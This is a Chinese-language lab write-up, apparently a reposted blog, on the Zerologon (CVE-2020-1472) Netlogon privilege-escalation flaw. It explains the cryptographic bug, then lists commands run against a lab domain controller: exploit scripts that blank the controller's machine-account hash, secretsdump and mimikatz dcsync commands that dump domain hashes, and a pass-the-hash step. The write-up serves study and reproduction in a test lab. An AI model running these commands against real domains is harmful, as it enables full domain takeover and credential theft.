NetLogon 权限提升漏洞

news/2025/2/22 18:30:25

参考文章:CVE-2020-1472NetLogon权限提升漏洞_cve-2020-1472复现 谢公子-CSDN博客

  • 域控机器账户:WIN-0V0GAORDC17

  • 域控 ip:192.168.72.163

  • 域内攻击者机器 ip:192.168.72.158,host:WIN10-01

  • 攻击者 kali 机器 ip:192.168.72.162

NetLogon服务

Netlogon 是一个 Windows Server 进程,用于对域内的用户和其他服务进行身份验证。由于它是一项服务而不是应用程序,因此 Netlogon 会在后台持续运行,除非手动或因运行时错误而停止。可以从命令行终端停止或重新启动 Netlogon。最常见的是让用户使用 NTLM 协议登录服务器。默认情况下,Netlogon 服务在域内所有机器后台运行着,该服务的可执行文件路径为 C:\Windows\system32\lsass.exe。

NetLogon认证流程

  1. 客户端调用 NetrServerReqChallenge 函数给服务端发送随机8字节 Client Challenge 值。

  2. 服务端调用 NetrServerReqChallenge 函数给客户端发送随机8字节 Server Challenge 值。

  3. 双方同时生成 Session Key=KDF(secret,(Client Challenge+Server Challenge)) ,此secret是客户端机器账号的哈希值。

  4. 客户端使用 Session Key 作为密钥对 Client Challenge 加密运算为 Client Credential 并发给服务器,服务端进行相同步骤的运算并将结果与 Client Credential进行对比,相同则表示客户端有正确的凭据。

  5. 服务端使用 Session Key 作为密钥对 Server Challenge 值加密运算为 Server Credential 并发给客户端,客户端进行相同步骤的运算并将结果与 Server Credential 进行对比,相同则表示服务端拥有相同Session Key。

  6. 使用 Session Key 加密流量通信。

Session Key的生成

Session Key=KDF(secret,(Client Challenge+Server Challenge)),三种加密算法可选:AES、Strong-key 、DES。但是现代的 Windows server 通常拒绝 Strong-key 和 DES,所以都用 AES 加密。

  1. md4 加密算法运算 SharedSecret 得到 M4SS,此 SharedSecret 是客户端机器账号的哈希值。

  2. M4SS 作为密钥使用 HMAC-SHA256 算法对 Client Challenge 和 Server Challenge 进行一系列运算得到的结果取低 16 字节作为 Session Key。

 ComputeSessionKey(SharedSecret, ClientChallenge, 
                   ServerChallenge)
      M4SS := MD4(UNICODE(SharedSecret)) 
  
      CALL SHA256Reset(HashContext, M4SS, sizeof(M4SS));
      CALL SHA256Input(HashContext, ClientChallenge, sizeof(ClientChallenge));
      CALL SHA256FinalBits (HashContext, ServerChallenge, sizeof(ServerChallenge));
      CALL SHA256Result(HashContext, SessionKey);
      SET SessionKey to lower 16 bytes of the SessionKey;
Credential 的生成

由于现代的 windows server 都拒绝 Strong-key 和 DES,所以都用 AES 加密

  1. 初始化 16 字节 IV(上图黄色部分),对 IV 使用 Session Key 作为密钥,AES 算法加密后获取密文第一个字节。

  2. 将此字节与 Challenge(上图蓝色部分)得第一个字节进行异或运算,将运算后的结果(上图的e3)放在IV末尾,同时覆盖了Challenge的第一个字节。

  3. 抛弃原 IV 的第一个字节,从第二个字节开始一直到之前运算的字节(上图的e3)作为新的IV,也就是IV整体后移了一位。

  4. 取完这个 IV 后重放上述操作。

微软使用 ComputeNetlogonCredential 来生成 Credential,传入一个 SessionKey,局部变量初始化一个 IV,AES加密后得到 Credential。

 ComputeNetlogonCredential(Input, Sk, 
              Output)
  
       SET IV = 0
       CALL AesEncrypt(Input, Sk, IV, Output)

漏洞原理

135 端口的 netlogon 协议加密模块存在缺陷,导致攻击者使用管理员权限访问 135 端口调用远程 RPC 服务重置域控制器机器账号 hash。

在上述的 NetLogon 身份验证过程中,客户端是在第4步向服务端发送Client Credential进行的身份验证,但是客户端发送的Client Credential有1/256的概率全为0,这是因为微软在ComputeNetlogonCredential函数中生成Credential时,IV被初始化为全0,如下图所示:

  1. IV(上图黄色部分)全为0,Client Challenge(上图蓝色部分)因为我们可控全为0

  2. 只要 AES 加密算法对全 0 位的 16 字节进行运算的到的结果的第一个字节为 00,那么最终结果Credential就为全0位

    • 此时加密密钥为Session Key,而此Session Key=KDF(secret,(Client Challenge+Server Challenge)),也就是随机生成的,而随机生成的Session Key对全0位的16字节进行AES运算后,得到的结果第一个字节为00的概率是1/256

    • 服务端是通过Client Credential来验证客户端身份信息,如果步骤4生成的Credential为全0位,则其同样是合法的,我们能在步骤4时无限发送全0位的Client Credential来以1/256的概率爆破出合法的会话

注:上文的NetLogon认证流程中,第6步,也就是会话建立时,是有Session Key加密通信的,但是就算这个漏洞利用成功,我们也只能通过第4步骤的身份验证,并不能构造出合法的Session Key加密通信,所以在Net Logon身份认证时,需要设置标志位来取消加密会话,下面的攻击脚本就设置了flag标志位为0x212fffff,此标志位包含了取消加密会话的标志选项

漏洞实验

脚本zerologon_tester.py 和 cve-2020-1472-exploit.py

zerologon_tester.py
# 检测是否存在漏洞
python zerologon_tester.py WIN-0V0GAORDC17 192.168.72.163
CVE-2020-1472.py
# 攻击,使域控的机器账号哈希置为空
python cve-2020-1472-exploit.py WIN-0V0GAORDC17 WIN-0V0GAORDC17$ 192.168.72.163

远程连接域控
# 使用 WIN-0V0GAORDC17$机器账号,哈希为空连接,导出 administrator 用户的哈希
python secretsdump.py HACKER.com/WIN-0V0GAORDC17$@192.168.72.163    -no-pass -just-dc-user "administrator"
​
# 导出所有用户哈希
python secretsdump.py HACKER.com/WIN-0V0GAORDC17$@192.168.72.163    -no-pass

mimikatz漏洞实验

检测是否存在漏洞
# 使用 mimikatz 执行如下命令检测目标域控是否存在 Netlogon 权限提升漏洞。
mimikatz.exe "privilege::debug" "lsadump::zerologon /target:192.168.72.163 /account:WIN-0V0GAORDC17$" "exit"
重置域控hash(攻击机在域中)
mimikatz.exe "lsadump::zerologon /target:WIN-0V0GAORDC17.HACKER.com /ntlm /null /account:WIN-0V0GAORDC17$ /exploit" "exit"
重置域控hash(攻击机在域外)
mimikatz.exe "lsadump::zerologon /target:192.168.72.163 /ntlm /null /account:WIN-0V0GAORDC17$ /exploit" "exit"
远程连接域控
#导出指定 administrator 用户哈希
mimikatz.exe "lsadump::dcsync /csv /domain:HACKER.com /dc:WIN-0V0GAORDC17.HACKER.com /user:administrator /authuser:WIN-0V0GAORDC17$ /authpassword:\"\" /authntlm" "exit" lsadump::dcsync /domain:HACKER.com /dc:WIN-0V0GAORDC17.HACKER.com /user:administrator /authuser:WIN-0V0GAORDC17$ /authpassword:""/authntlm
​
#然后用 administrator 用户的哈希进行 pth 攻击连接域控,这一步需要 privilege::debug 提权
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:192.168.72.163 /rc4:33e17aa21ccc6ab0e6ff30eecb918dfb" "exit"

恢复御用机器账户hash

获得域控机器账号的原始哈希
# 使用 mimikatz 的 sekurlsa::logonpassword 模块执行如下命令从 lsass.exe进程里面抓取域控机器账号 WIN-0V0GAORDC17$ 的原始哈希
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 恢复域控哈希
python reinstall_original_pw.py WIN-0V0GAORDC17 192.168.72.163 eace846f4b183390a111a1888b96beff


http://www.niftyadmin.cn/n/5862623.html

相关文章

Javascript网页设计案例:通过PDFLib实现一款PDF分割工具,分割方式自定义-完整源代码,开箱即用

功能预览 一、工具简介 PDF 分割工具支持以下核心功能: 拖放或上传 PDF 文件:用户可以通过拖放或点击上传 PDF 文件。两种分割模式: 指定范围:用户可以指定起始页和结束页,提取特定范围的内容。固定间距:用户可以设置间隔页数(例如每 5 页分割一次),工具会自动完成分…

Rust编程语言入门教程(八)所有权 Stack vs Heap

Rust 系列 🎀Rust编程语言入门教程(一)安装Rust🚪 🎀Rust编程语言入门教程(二)hello_world🚪 🎀Rust编程语言入门教程(三) Hello Cargo&#x1f…

智能硬件解决方案

概述 陆盛科技主要面向三大方向提供智能硬件服务,智能硬件主要为了赋能陆盛科技提供的软件提供更好的硬件软件的整体服务场景,做到软件行业应用最专业、硬件行业软件最专业: 射频采集设备:包括手持 PDA、RFID、条码标签、打印机、赋码设备等…

MQTT实现智能家居------1、网络基础知识

1、为什么引入服务器? 局域网:手机App与WiFi模块短距离通信。 互联网:如果手机出门去了,想在任何地方控制,则需要一个服务器。 2、网络基础知识 1)怎么表示自己、对方? 自己(IP,…

ChatGPT超级AI对话模型 黑客十问十答

完了完了,ChatGPT超级AI对话模型回答有关黑客的经典问题,简直行云流水,对答如流,并且逻辑十分清晰,看了一遍答案,已经忘记了这些是AI给出的回答,有了AI加持,黑客百问百答&#xff0c…

Graspness Discovery in Clutters for Fast and Accurate Grasp Detection 解读

研究背景 研究问题 :这篇文章要解决的问题是如何在杂乱的环境中快速且准确地检测抓取姿态。传统的 6自由度抓取方法将场景中的所有点视为平等,并采用均匀采样来选择抓取候选点,但忽略了抓取位置的重要性,这极大地影响了抓取姿态检…

oracle主库添加数据文件后备库无法按convert转换数据文件名ORA-01119,ORA-17502,ORA-15001

业务环境: 主库11g rac,备库11g单机,linux, 操作过程: 主库表空间满了,扩占了两个数据文件,dg备库无法按照convert转换数据文件 主库添加了2个数据文件 主库添加完数据文件后,备库…

go http Client net/http

框架推荐 net/http go的内置http工具,可以构建client和server。 Slf4j Controller RequestMapping("/rest") public class RestTestController {GetMapping("/get")ResponseBodypublic String get(RequestBody SSHConnectParam param) throws…